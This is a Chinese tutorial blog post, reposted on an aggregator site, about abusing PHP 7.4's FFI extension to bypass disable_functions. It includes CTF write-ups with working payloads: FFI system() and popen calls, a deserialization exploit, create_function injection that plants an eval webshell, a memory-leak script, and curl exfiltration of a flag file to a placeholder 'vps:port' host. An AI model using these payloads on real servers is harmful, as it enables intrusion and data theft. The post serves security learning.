PHP7.4 FFI 扩展安全问题

news2024/10/7 4:34:41

 在前面 [极客大挑战 2020] 的Roamphp5-FighterFightsInvincibly 题,遇到了 FFI扩展 调用函数进行rce to bypass disable_function,之前没遇见过,刚好借此机会学一学

目录

<1> PHP 7.4 FFI简介

<2> FFI 配置信息

<3> FFI 简单利用演示

(1) FFI::cdef方法

(2) FFI::new方法

(3) FFI::load方法

<4> 利用FFI:cdef 绕过 disabled_function进行rce

<5> CTF应用

(1) [RCTF 2019]Nextphp(FFI::cdef&Serialize接口&curl外带结果)

(2) TCTF 2020 easyphp(FFI::load 利用)

非预期:

noeasyphp(revenge):

(3)  [极客大挑战 2020] FighterFightsInvincibly(不出网FFI,rce输出回显)

第一种:使用c里的popen,然后从管道中读取结果

第二种:FFI中直接调用php源码中的函数

第三种:使用蚁剑绕过disable_function插件


<1> PHP 7.4 FFI简介

FFI是什么?

FFI(Foreign Function Interface),即外部函数接口 是 php7.4 出的一个扩展,提供了高级语言直接的相互调用。

优点:

        没有FFI的的时候,传统的方式,当我们需要用一些已有的C语言的库的能力的时候,我们需要用C语言写wrapper,把他们包装成扩展,这个过程中就需要大家去学习PHP的扩展怎么写,当然现在也有一些方便的方式,比如Zephir. 但总还是有一些学习成本的,而有了FFI以后,我们就可以直接在PHP脚本中调用C语言写的库中的函数了

        FFI可以让我们更加方便的调用C语言积累的大量的优秀的库,享受这个庞大的资源

缺点:

        在PHP里,FFI允许加载动态链接库 (之前一篇文章 LD_PRELOAD 劫持里有讲到),调用底层c语言的一些函数。而且与以往的传统调用C语言库的方式不同,它能够直接在php脚本中调用C语言库中的函数。 因此 FFI 扩展是十分危险的,如果被不当利用,可以直接调用底层c库中命令执行函数从而完全绕过 php 层面上的限制。

        因此,也可用来 bypass disable_function 。挺有意思

  libc.so.6 是默认的动态链接函数库

<2> FFI 配置信息

FFI 配置:

  • 使用FFI需要启用PHP7.4配置中的ext/ffi,在 php.ini 中去掉 extension=ffi 前面的 ;
  • PHP-FFI要求libffi-3以上
  • ffi.enable=true

 

ffi.enable默认是 preload(预加载) 。即  默认情况下,FFI API只能在CLI脚本和预加载的PHP文件中使用

 opcache.preload 是 PHP7.4 中新加入的功能。如果设置了 opcache.preload ,那么在所有Web应用程序运行之前,服务会先将设定的 preload 文件加载进内存中,使这些 preload 文件中的内容对之后的请求均可用。更多细节可以阅读:PHP: rfc:preload

 在这篇文章 PHP: rfc:preload 末尾可以看到如下描述:

In conjunction with ext/FFI (dangerous extension), we may allow FFI functionality only in preloaded PHP files, but not in regular ones

大概意思就是说只允许在 preload 文件中使用 FFI 拓展(危险的拓展)

同时:在本地环境 ffi.enable=preload 模式下,web端也是无法执行 FFI 。将 ffi.enable 设置成 true 后,发现 web 端就可以利用 FFI 了。

相关配置可以在 phpinfo() 里查看

<3> FFI 简单利用演示

环境搭建:环境搭建

apt install libsqlite3-dev libffi-dev bison re2c pkg-config
git clone https://github.com/php/php-src.git
cd php-src
git checkout PHP-7.4
./buildconf
./configure --prefix=$HOME/myphp --with-config-file-path=$HOME/myphp/lib --with-ffi --enable-opcache --enable-cli
make -j $(nproc) && make install

 我的vps的ubuntu没整成 ,大家可以自己再试试

索性我直接用一个开启了 FFI插件 的CTF题目的dockerfile 开个环境,去容器里测试

ps:非常慢。。。。。。  终于开好了,里面却没有 vi 和 vim。。。。

(1) FFI::cdef方法

 FFI::cdef()  创建一个新的 FFI 对象

该函数有两个参数,分别为调用c函数和加载的libc库,最后返回一个新的FFI对象。

public static FFI::cdef(string $code = "", ?string $lib = null): FFI

 libc.so.6 是默认的动态链接函数库,但是我们可以看见,如果第二个参数 $lib 省略,支持的平台 RTLD_DEFAULT 会尝试查找在code正常全局范围内声明的符号

意思就是不设置 FFI::cdef 的第二个参数,也可以调用 C 函数

<?php
    $ffi = FFI::cdef("int system(const char *command);");
    $ffi->system("whoami");  //在后台执行 前端没有显示
    $ffi->system("whoami > /tmp/aa");
    echo file_get_contents("/tmp/aa");
?>

 

 在命令行这里,这里可以看见成功执行 system('whoami');  输出root

由于没有权限写文件,所以前端显示不出来。但是命令是实打实的执行了

(2) FFI::new方法

FFI::new  创建一个C数据结构

<?php
    $x = FFI::new("int");
    var_dump($x->cdata);
    $x->cdata = 5;
    var_dump($x->cdata);
    $x->cdata += 2;
    var_dump($x->cdata);
?>

(3) FFI::load方法

public static FFI::load(string $filename): FFI   加载 C 文件

等等等等 都可以在 php官方手册查到  这里不再演示。

PHP: FFI - Manual

<4> 利用FFI:cdef 绕过 disabled_function进行rce

如果目标机器开启了FFI扩展,同时phpinfo()里泄露的插件配置信息 足以使用此漏洞。则在 system等函数被禁用的情况下,可以使用 FFI 来进行命令执行

原理:

如果我们要调用C标准库里面的system函数(先不考虑PHP自己实现了system函数),我们就使用cdef去加载,cdef会把存放system函数功能的动态链接库libc加载到内存里面,这样PHP的进程空间里就有了这个system,这也是disable_functions里面过滤了system函数,但是执行的 payload里面仍然还使用了system的原因,因为我们是加载的 c库函数中的 system函数。 突破了 php 层面上的限制

 例如:在题目中执行 /readflag 并获取 flag,同时它也可以加载自定义链接库

[ RCTF 2019 ] nextphp 里的有一段这样的 php代码:

$this->data['ret'] = $this->data['func']($this->data['arg']);

正好符合我们的FFI扩展函数格式。

我们可以控制func和arg参数,构造:

'func' => 'FFI::cdef',
 'arg' => 'int system(char *command);'

条件符合时,就可以 这样利用。

<?php
    $ffi = FFI::cdef("int system(const char *command);");
    $ffi->system("/readflag > /tmp/flag");
    echo file_get_contents("/tmp/flag");
    @unlink("/tmp/flag");
?>

 同时呢,蚁剑的 bypass disable_function插件也集成了这个漏洞利用 但受到目录权限和 open_basedir 的限制导致很多情况下并不起作用

<5> CTF应用

(1) [RCTF 2019]Nextphp(FFI::cdef&Serialize接口&curl外带结果)

考察点:

  • 利用 FFI::cdef bypass disable_function
  • Serialize接口
  • 利用curl外带flag
<?php
if (isset($_GET['a'])) {
    eval($_GET['a']);
} else {
    show_source(__FILE__);
}

 一进去,就看见了一个 一句话🐎 肯定没有这么 简单。 试了一下 果然有 disable_functions

mail,putenv,error_log 都被过滤了 LD_PRELOAD劫持不了了。

phpinfo()里显示 版本为7.4 FFI 应该是 利用FFI 。实现用PHP代码调用C代码的方式,先声明C中的命令执行函数,然后再通过FFI变量调用该C函数即可Bypass disable_functions

isset() a的话才有 eval()。直接连蚁剑的话连不上。传着a=phpinfo();就乱码了

我们使用file_put_contents()函数再写一个🐎 然后连接

file_put_contents('shell.php','<?php eval($_POST["shell"]); ?>');

蚁剑连接之后,得到 preload.php

<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'print_r',
        'arg' => '1'
    ];

    private function run () {
        $this->data['ret'] = $this->data['func']($this->data['arg']);
    }

    public function __serialize(): array {
        return $this->data;
    }

    public function __unserialize(array $data) {
        array_merge($this->data, $data);
        $this->run();
    }

    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }

    public function __get ($key) {
        return $this->data[$key];
    }

    public function __set ($key, $value) {
        throw new \Exception('No implemented');
    }

    public function __construct () {
        throw new \Exception('No implemented');
    }
}

 通过前面给的 phpinfo() 发现存在如下关键信息:

PHP Version 7.4.0-dev
内网IP:172.20.0.1
开启了FFI
opcache.preload:/var/www/html/preload.php
open_basedir:/var/www/html
disable_classes:ReflectionClass
disable_functions:

set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,dl

 opcache.preload 是 PHP7.4 中新加入的功能。如果设置了 opcache.preload ,那么在所有Web应用程序运行之前,服务会先将设定的 preload 文件加载进内存中,使这些 preload 文件中的内容对之后的请求均可用。更多细节可以阅读:PHP: rfc:preload

 在这篇文章 PHP: rfc:preload 末尾可以看到如下描述:

In conjunction with ext/FFI (dangerous extension), we may allow FFI functionality only in preloaded PHP files, but not in regular ones

大概意思就是说只允许在 preload 文件中使用 FFI 拓展(危险的拓展),而这道题目开启了 FFI 拓展

这道题可以写文件,那为什么不直接更改 preload.php文件 进行利用呢?

Mochazz师傅文章提到:在本地环境 ffi.enable=preload 模式下,web端也是无法执行 FFI 。将 ffi.enable 设置成 true 后,发现 web 端就可以利用 FFI 。

回到这道题

 preload.php 里代码很明显就是利用 反序列化来触发FFI扩展的调用。在run函数有这样一串代码:

$this->data['ret'] = $this->data['func']($this->data['arg']);

 正好符合我们的FFI扩展函数格式。

但是不同于我们以前传统的反序列化,这里 class A implements Serializable 是调用了 Serializable的类A

实现Serializable接口的类使用C格式编码,基本上是C:ClassNameLen:"ClassName":PayloadLen:{Payload},其中Payload是任意字符串 

具体:可以参考: PHP: rfc:custom_object_serialization 

PHP: Magic Methods - Manual 

在 preload.php 里引进了 php7.4以上的两个魔术方法 __serialize() 和 __unserialize()

PHP Serializable是自定义序列化的接口。实现此接口的类将不再支持__sleep()和__wakeup()。

当类的实例对象被序列化时将自动调用serialize方法,并且不会调用 __construct()或有其他影响。如果对象实现理Serialize接口,接口的serialize()方法将被忽略,并使用__serialize()代替。

当类的实例对象被反序列化时,将调用unserialize()方法,并且不执行__destruct()。如果对象实现理Serialize接口,接口的unserialize()方法将被忽略,并使用__unserialize()代替。

概念清楚了之后,我们进行代码审计。

构造 执行流程为:

调用 A::unserialize(), payload参数为我们构造好的恶意data数组的序列化数据. 执行 $this->data = unserialize($payload); 设置好 $this-data为构造好的恶意data数组  -->  执行 $this->run(), 生成FFI对象 给了 $this->data['ret']  --> __serialize()会返回$this->data,可以加上['ret'] 表示FFI对象,再->system("cmd"); 调用c语言system函数执行命令

注:我们在写exp的时候,删掉没有必要的魔术方法 以及前面提到的 __serialize()和 

因为 __serialize()存在的话,serialize构造好的类实例对象就不会调用serialize(). $this->data就不会再进行一下serialize再返回。因此 我们执行过程中第一步的参数 payload 就不会是恶意data数组序列化数据。 

 exp如下:

<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'FFI::cdef',
        'arg' => 'int system(const char *command);'     //声明
    ];

    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
    }
}

$a = new A();
echo serialize($a);

执行得到:

C:1:"A":95:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:32:"int system(const char *command);";}}

题目无回显,利用curl外带flag 执行命令:curl -d @/flag vps:port

传参:/?a=$a=unserialize('C:1:"A":95:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:32:"int system(const char *command);";}}')->__serialize()['ret']->system('curl -d @/flag vps:port');

得到flag

(2) TCTF 2020 easyphp(FFI::load 利用)

这里没有环境了,参考着文章复现一下:2020 TCTF Online Web wp

非预期:

题目代码如下,和RCTF的差不多  直接给了shell。 通过FFI bypass disable_function

<?php 
if(isset($_GET['rh'])) {
    eval($_GET['rh']);    
} else {
    show_source(__FILE__);
}

phpinfo()里得知:php 版本为 7.4.5,同时Server API为FPM/FastCGI:

diable_function如下:

set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,dl

open_basedir限制,目录不可写,可以通过原生类读取

$file_list = array();
$it = new DirectoryIterator("glob:///*");
foreach ($it as $f){
$file_list[] = $f->__toString();
}
$it = new DirectoryIterator("glob:///.*");
foreach ($it as $f){
$file_list[] = $f->__toString();
}
sort($file_list);
foreach ($file_list as $f){
    echo $f;
}

得到flag.h和flag.so文件名 

由于题目的部署不慎,导致可以以下面这种方式直接读文件....    因此这个是非预期的步骤

读取根目录 flag.h 文件

var_dump(file_get_contents("/flag.h"));

获取方法名 flag_fUn3t1on_fFi,之后通过 eval 函数执行 FFI 脚本即可 

$ffi = FFI::load("/flag.h");
var_dump(FFI::string($ffi->flag_fUn3t1on_fFi()));

noeasyphp(revenge):

出题人不甘心,又出了一道revenge,这次php版本升级到 7.4.7,同时更换了Server API: Apache 2.0 Handler

 又增加大量 disable_function 但open_basedir没有变.

我们依旧可以bypass open_basedir进行列目录:

var_dump(scandir("glob:///*"));

还存在 flag.h 和 flag.so

 这里解决了我们非预期 读取flag.h 里方法的名称的操作。。。 因此我们即使 FFI::load flag.h 也不能调用方法.. cdef也被forbidden了, 这个时候怎么办呢》》

那么考虑有没有其他办法可以获取到函数名,查阅FFI官方文档:

发现FFI存在不少和内存相关的函数。

这里考虑能不能进行内存泄露,获取函数名,编写exp如下:

import requests

url = ""
params = {"rh":'''
try {
$ffi=FFI::load("/flag.h");
//get flag
//$a = $ffi->flag_wAt3_uP_apA3H1();
//for($i = 0; $i < 128; $i++){
echo $a[$i];
//}
$a = $ffi->new("char[8]", false);
$a[0] = 'f';
$a[1] = 'l';
$a[2] = 'a';
$a[3] = 'g';
$a[4] = 'f';
$a[5] = 'l';
$a[6] = 'a';
$a[7] = 'g';
$b = $ffi->new("char[8]", false);
$b[0] = 'f';
$b[1] = 'l';
$b[2] = 'a';
$b[3] = 'g';
$newa = $ffi->cast("void*", $a);
var_dump($newa);
$newb = $ffi->cast("void*", $b);
var_dump($newb);
$addr_of_a = FFI::new("unsigned long long");
FFI::memcpy($addr_of_a, FFI::addr($newa), 8);
var_dump($addr_of_a);
$leak = FFI::new(FFI::arrayType($ffi->type('char'), [102400]), false);
FFI::memcpy($leak, $newa-0x20000, 102400);
$tmp = FFI::string($leak,102400);
var_dump($tmp);
//var_dump($leak);
//$leak[0] = 0xdeadbeef;
//$leak[1] = 0x61616161;
//var_dump($a);
//FFI::memcpy($newa-0x8, $leak, 128*8);
//var_dump($a);
//var_dump(777);
} catch (FFI\Exception $ex) {
echo $ex->getMessage(), PHP_EOL;
}
var_dump(1);
'''}
res = requests.get(url=url,params=params)
print((res.text).encode("utf-8"))

原理。。。。我也没看明白 后面再看一看

执行之后即可获取函数名如下:

$a = $ffi->flag_wAt3_uP_apA3H1();

 然后读取flag即可。

$ffi = FFI::load("/flag.h");
var_dump(FFI::string($ffi->flag_wAt3_uP_apA3H1()));

 

看这 flag 说的话好像是利用 FPM 来bypass。。。 没想到 FFI也可以,内存泄露、更麻烦一点 tql

(3)  [极客大挑战 2020] FighterFightsInvincibly(不出网FFI,rce输出回显)

  •  create_function函数注入
  •  FFI,如何在执行命令的情况下输出回显
进去之后,小火箭 🚀 咻
在源码中得到:
<!-- $_REQUEST['fighter']($_REQUEST['fights'],$_REQUEST['invincibly']); -->

 可以动态的执行php代码,此刻应该联想到create_function代码注入:

我们传入 fighter=create_function,fights= 空 invincibly=;}eval($_POST['1vxyz']);/* 即可注入恶意代码并执行。可以蚁剑连接

fighter=create_function&fights=&invincibly=;}phpinfo();/*

执行phpinfo() 得到:

php版本为:PHP 7.4.8 并且开启了 ffi.enable

disable_function为:

system,exec,shell_exec,passthru,proc_open,proc_close,proc_get_status,checkdnsrr,getmxrr,getservbyname,getservbyport,syslog,popen,show_source,highlight_file,dl,socket_listen,socket_create,socket_bind,socket_accept,socket_connect,stream_socket_server,stream_socket_accept,stream_socket_client,ftp_connect,ftp_login,ftp_pasv,ftp_get,sys_getloadavg,disk_total_space,disk_free_space,posix_ctermid,posix_get_last_error,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_strerror,posix_times,posix_ttyname,posix_uname

利用FFI调用system,curl外带一下flag试一试

fighter=create_function&fights=&invincibly=;}$ffi=FFI::cdef("int system(const char *command);");$ffi->system("curl -d @/flag vps:port");/*

未果。 因为题目是 不出网的。无法curl外带。 官方wp里有提到两种解决方法

无法出网的FFI,如何在执行命令的情况下输出回显.有两种方式:

第一种:使用c里的popen,然后从管道中读取结果

C库的system函数调用shell命令,只能获取到shell命令的返回值,而不能获取shell命令的输出结果,如果想获取输出结果我们可以用popen函数来实现:

FILE *popen(const char* command, const char* type);

popen()函数会调用fork()产生子进程,然后从子进程中调用 /bin/sh -c 来执行参数 command 的指令。

参数 type 可使用 "r"代表读取,"w"代表写入。依照此type值,popen()会建立管道连到子进程的标准输出设备或标准输入设备,然后返回一个文件指针。随后进程便可利用此文件指针来读取子进程的输出设备或是写入到子进程的标准输入设备中。

所以,我们还可以利用C库的popen()函数来执行命令,但要读取到结果还需要C库的fgetc等函数。payload如下:

/?fighter=create_function&fights=&invincibly=;}$ffi = FFI::cdef("void *popen(char*,char*);void pclose(void*);int fgetc(void*);","libc.so.6");$o = $ffi->popen("ls /","r");$d = "";while(($c = $ffi->fgetc($o)) != -1){$d .= str_pad(strval(dechex($c)),2,"0",0);}$ffi->pclose($o);echo hex2bin($d);/*

执行ls / 发现 flag 和 readflag

更改 ls / 为 /readflag 执行,得到flag

第二种:FFI中直接调用php底层源码中的函数

这个底层函数声明不好找,这里有一篇文章:命令执行底层原理探究-PHP(三)_黑客技术

int php_exec(int type, char *cmd);

其次,我们还有一种思路,即FFI中可以直接调用php源码中的函数,比如这个php_exec()函数就是php源码中的一个函数。php_exec 的 type 为 3 时对应的是passthru ,1也可以 1对应system

可以直接将结果原始输出

payload如下:

/?fighter=create_function&fights=&invincibly=;}$ffi = FFI::cdef("int php_exec(int type, char *cmd);");$ffi->php_exec(3,"ls /");/*

更改 ls /为 /readflag 得到flag

第三种:使用蚁剑绕过disable_function插件

都试了一试,7.4<= PHP<=7.4.8ReflectionProperty UAF 可利用,FFI那个用插件出了问题。 所以还是不能太依赖工具,自己要懂得原理。 前面那个 LD_PRELOAD劫持 也是手工可以,插件没通。遇到的话可以先插件试一下,行不通再根据原理自己去打一下 不要工具无效就觉得行不通

 

至此,php 7.4扩展安全问题以及搞完了。 前面 buuctf刷题12(zip://包含& 取反+无参数rce & csrf & FFI扩展安全) 这篇欠的这道题目也以及解决。这也是学到的第二个 绕过disable_function的方法。每个方法都有对应的配置限制,后续遇到其他的 bypass_function 方法 会继续研究一下对应的原理 以及利用方式。好多还没学呢,继续努力

 参考:https://mochazz.github.io/2019/05/21/RCTF2019Web%E9%A2%98%E8%A7%A3%E4%B9%8Bnextphp/#nextphp

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/363002.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

数据库丨TiDB集群中高危Grafana权限漏洞如何快速修复?答案在这里→

文章目录前言一、现有TiDB信息二、下载解压Grafana组件1.下载2. 解压安装三、制作离线镜像源1.制作镜像2.离线镜像发布3.查看当前镜像源&#xff0c;设置镜像源境准备4.备份private.json5.publish镜像6.各个参数解释如下&#xff1a;7.清理老文件四、Grafana组件升级替换Grafan…

记数据血缘前端中panzoom初始化缩放比例的问题探索

0. 背景 有人问我 血缘前端vue版本能不能改初始缩放比例&#xff0c;节点太多的情况下初始缩放比例太大导致无法看清全图&#xff0c;需要渲染完之后手动缩放才能。 当时编写代码的时候使用 panzoom这个库来完成 血缘图的缩放工作。 使用的panzoom版本是&#xff1a; “panzoo…

nacos启动失败(解决方法汇总)

安装nacos 报错 org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name instanceOperatorClientImpl defined in URL [jar:file:/H:/nacos/nacos/target/nacos-server.jar!/BOOT-INF/lib/nacos-naming-2.0.3.jar!/com/alibaba/na…

【数据结构与算法】哈希表2:四数相加II 赎金信 三数之和 四数之和

文章目录今日任务1.Leetcode454.四数相加II&#xff08;1&#xff09;题目&#xff08;2&#xff09;思路&#xff08;3&#xff09;代码演示2.Leetcode383.赎金信&#xff08;1&#xff09;题目&#xff08;2&#xff09;思路&#xff08;3&#xff09;暴力解法&#xff08;4&…

算法刷题日志——移除元素,双指针

文章目录删除有序数组中的重复项[删除有序数组中的重复项 II](https://leetcode.cn/problems/remove-duplicates-from-sorted-array-ii/)移除元素[283. 移动零](https://leetcode.cn/problems/move-zeroes/description/)[844. 比较含退格的字符串](https://leetcode.cn/problem…

数仓、数据湖、湖仓一体、数据网格的探索与研究

第一代&#xff1a;数据仓库 定义 为解决数据库面对数据分析的不足&#xff0c;孕育出新一类产品数据仓库。数据仓库&#xff08;Data Warehouse&#xff09;是一个面向主题的、集成的、相对稳定的、反映历史变化的数据集合&#xff0c;用于支持管理决策和信息的全局共享。 数…

【Linux系统】认识操作系统和操作系统如何进行管理以及进程相关状态

进程概念1 认识冯诺依曼体系结构1.1 冯诺依曼体系结构存储器的作用2 操作系统(Operator System&#xff0c;OS)2.1 OS如何进行管理3 进程3.1 OS管理进程&#xff1a;先描述再组织3.2 描述进程-PCB3.3 查看进程3.4 通过系统调用获取进程标识符3.5 通过系统调用创建子进程——for…

vue+echarts:柱状图横向展示和竖向展示

第021个点击查看专栏目录本示例是显示柱状图&#xff0c;分别是横向展示和纵向展示。关键是X轴和Y轴的参数互换。 文章目录横向示例效果横向示例源代码&#xff08;共81行&#xff09;纵向示例效果纵向示例源代码&#xff08;共81行&#xff09;相关资料参考专栏介绍横向示例效…

什么是真正的骨传导耳机,骨传导耳机原理

骨传导耳机大多采用后挂耳/夹耳佩戴方式&#xff0c;但现在很多人分不清哪些是骨传导耳机&#xff0c;哪些是气传导耳机。看完这篇教会你辨别哪些是真正的骨传导耳机。 骨传导耳机采用固体传声方式&#xff0c;整个耳机机身都没有传声音孔的设计&#xff0c;主要通过耳机振子发…

Retrofit+Hilt后端请求小项目3--Retrofit代码完善

目录ApiConstants定义实体类定义 API 接口定义 Repository定义 ApiModule定义 Application定义 ViewModelApiConstants 这一块存放 API 常量&#xff0c;即后端服务器 BASE_URL&#xff0c;以及对应的后缀 URL 代码清单&#xff1a;data/api/ApiConstants.kt object ApiConsta…

最纯净-Ubuntu系统下如何卸载kubernetes(k8s)-2023最新

首先&#xff0c;如果是卸载k8s-1.24以上版本&#xff0c;需要单独卸载containerd&#xff1a; sudo apt-get purge --auto-remove containerd.io1. 步骤 其他步骤如下&#xff1a; 执行命令&#xff1a; kubeadm reset -fsudo apt-get purge --auto-remove kubernetes…

港科夜闻|广东省省长王伟中会见香港科技大学访问团

关注并星标每周阅读港科夜闻建立新视野 开启新思维1、广东省省长王伟中会见香港科技大学访问团。2月17日&#xff0c;广东省省长王伟中先生在广州与香港科大校董会主席廖长城先生、校董会副主席杨佳锠教授、校长叶玉如教授就加强教育合作、科技创新等进行深入交流。王伟中先生表…

华为OD机试 - 入栈出栈(C++) | 附带编码思路 【2023】

刷算法题之前必看 参加华为od机试,一定要注意不要完全背诵代码,需要理解之后模仿写出,通过率才会高。 华为 OD 清单查看地址:https://blog.csdn.net/hihell/category_12199283.html 华为OD详细说明:https://dream.blog.csdn.net/article/details/128980730 华为OD机试题…

特征与处理-sklearn归一化、标准化、缺失值处理

目录 特征的预处理 归一化 标准化 缺失值 特征的预处理 特征处理定义&#xff1a;通过特定的二统计方法&#xff08;数学方法&#xff09;将数据转换成算法要求的数据 归一化 sklearn归一化API&#xff1a;sklearn.preprocessing.MinMaxScaler from sklearn.preprocessing i…

【Selenium学习】Selenium 总结

1.Selenium 简介Selenium 经历了三个大版本&#xff0c;Selenium 1.0、Selenium 2.0 和 Selenium 3.0。Selenium 不是由单独一个工具构成的&#xff0c;而是由一些插件和类库组成的&#xff0c;这些插件和类库有其各自的特点和应用场景。Selenium 1.0 家族关系如下图所示。1.1 …

华为OD机试 - 数组排序(C++) | 附带编码思路 【2023】

刷算法题之前必看 参加华为od机试,一定要注意不要完全背诵代码,需要理解之后模仿写出,通过率才会高。 华为 OD 清单查看地址:https://blog.csdn.net/hihell/category_12199283.html 华为OD详细说明:https://dream.blog.csdn.net/article/details/128980730 华为OD机试题…

我说我为什么抽不到SSR,原来是这段代码在作祟...

本文是龚国玮所写&#xff0c;熊哥有所新增修改删减&#xff0c;原文见文末。 我说我为什么抽不到SSR&#xff0c;原来是加权随机算法在作祟 阅读本文需要做好心理准备&#xff0c;建议带着深究到底的决心和毅力进行学习&#xff01; 灵魂拷问 为什么有 50% 的几率获得金币&a…

【数据结构】顺序表和链表的区别和联系(详解)

顺序表和链表的区别&#xff08;详解&#xff09; 文章目录顺序表和链表的区别&#xff08;详解&#xff09;前言一、顺序表和链表的关系二、顺序表1.优点2.缺点三、链表1.优点2.缺点四、区别表格总结前言 本文给大家介绍顺序表和链表的各自的优缺点和区别与联系&#xff0c;结…

华为OD机试 - 事件推送(C++) | 附带编码思路 【2023】

刷算法题之前必看 参加华为od机试,一定要注意不要完全背诵代码,需要理解之后模仿写出,通过率才会高。 华为 OD 清单查看地址:https://blog.csdn.net/hihell/category_12199283.html 华为OD详细说明:https://dream.blog.csdn.net/article/details/128980730 华为OD机试题…

20230222 【梳理】肿瘤检测 预处理+ML+DL

一、预处理 1、形态学【使图像中的重要部分更加可见,并消除MRI图像的琐碎部分。】 形态学操作是一种非线性操作,涉及在二值图像上移动一个窗口(或结构元素),以一种方式帮助增长图像(膨胀)或缩小图像(侵蚀)[30]。这种预处理技术更有用,特别是当MRI图像中存在不需要